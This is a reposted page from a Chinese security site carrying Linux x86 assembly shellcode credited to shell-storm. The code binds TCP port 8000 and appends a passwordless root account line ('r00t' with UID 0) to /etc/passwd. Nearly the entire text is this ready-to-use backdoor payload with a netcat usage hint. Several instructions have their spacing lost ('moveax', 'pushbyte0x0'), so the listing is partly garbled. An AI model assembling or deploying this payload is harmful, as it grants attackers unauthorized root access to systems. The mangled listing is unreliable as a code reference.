首页 网络安全 安全学院 查看内容

Bindport TCP/8000 & execve add user with access root

2009-6-9 09:35 751 0

摘要:   ; Title: Bindport TCP/8000 & execve add user with access root  ; os: Linux x86  ; size: 225+ b...
关键词: nbsp push pushbyte0x0 mov 0x80 movebx int moveax eax edx

  ; Title: Bindport TCP/8000 & execve add user with access root  ; os: Linux x86  ; size: 225+ bytes  ; IP: localhost  ; Port: 8000  ; Use: nc localhost 8000  ;  ; Author: Jonathan Salwan  ; Mail: submit AT shell-storm.org  ; Web: http://www.shell-storm.org  ;  ;  ; More shellcodes in => http://www.shell-storm.org/shellcode/  ;  section .text  global _start  _start:  ;;;;;;;;;;;;;;;;;;;;Socket();;;;;;;;;;;;;;;;;;;  pushbyte0x0  pushbyte0x1  pushbyte0x2  moveax, 0x66  movebx, 0x1  movecx, esp  int 0x80  ;;;;;;;;;;;;;;;;;;;;Socket();;;;;;;;;;;;;;;;;;;  mov edx, eax  ;;;;;;;;;;;;;;;;;;;;Bind();;;;;;;;;;;;;;;;;;;;;  pushbyte0x0  pushbyte0x0  pushbyte0x0  pushword0x401f  pushword0x2  movebx, esp  push byte0x10  pushebx  pushedx  moveax, 0x66  movebx, 0x2  movecx, esp  int 0x80  ;;;;;;;;;;;;;;;;;;;;Bind();;;;;;;;;;;;;;;;;;;;;  ;;;;;;;;;;;;;;;;;;;;Listen();;;;;;;;;;;;;;;;;;;  pushbyte0x1  pushedx  moveax,0x66  movebx,0x4  movecx, esp  int 0x80  ;;;;;;;;;;;;;;;;;;;;Listen();;;;;;;;;;;;;;;;;;;  ;;;;;;;;;;;;;;;;;;;;Accept();;;;;;;;;;;;;;;;;;;  pushbyte0x0  pushbyte0x0  pushedx  moveax, 0x66  movebx, 0x5  movecx, esp  int 0x80  ;;;;;;;;;;;;;;;;;;;;Accept();;;;;;;;;;;;;;;;;;;  movedx, eax  ;;;;;;;;;;;;;;;;;;;;Dup2();;;;;;;;;;;;;;;;;;;;;  moveax, 0x3f  movebx, edx  mov ebx, 0x2  int0x80  mov     eax, 0x3f  mov     ebx, edx  mov     ecx, 0x1  int       0x80  mov     eax, 0x3f  mov     ebx, edx  mov     ecx, 0x0  int       0x80  ;;;;;;;;;;;;;;;;;;;;Dup2();;;;;;;;;;;;;;;;;;;;;  ;;;;;;;;;;;;;;;;;;;;Open();;;;;;;;;;;;;;;;;;;;;  push byte 0x05  pop eax  xor ecx, ecx  push ecx  push 0x64777373  push 0x61702f2f  push 0x6374652f  mov ebx, esp  mov cx, 02001Q  int0x80  ;;;;;;;;;;;;;;;;;;;;Open();;;;;;;;;;;;;;;;;;;;;  mov ebx, eax  ;;;;;;;;;;;;;;;;;;;;Write();;;;;;;;;;;;;;;;;;;;  push byte 0x04  pop eax  xor edx, edx  push edx  pushword0x6873  push0x61622f6e  push0x69622f3a  push0x746f6f72  push0x2f3a746f  push0x6f723a30  push0x3a303a3a  push0x74303072  mov ecx, esp  push byte 0x1f  pop edx  int 0x80  ;;;;;;;;;;;;;;;;;;;;Write();;;;;;;;;;;;;;;;;;;;  ;;;;;;;;;;;;;;;;;;;;;Close();;;;;;;;;;;;;;;;;;;  push byte 0x06  pop eax  int 0x80  ;;;;;;;;;;;;;;;;;;;;;Close();;;;;;;;;;;;;;;;;;;  push byte 0x01  popeax  int 0x80
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部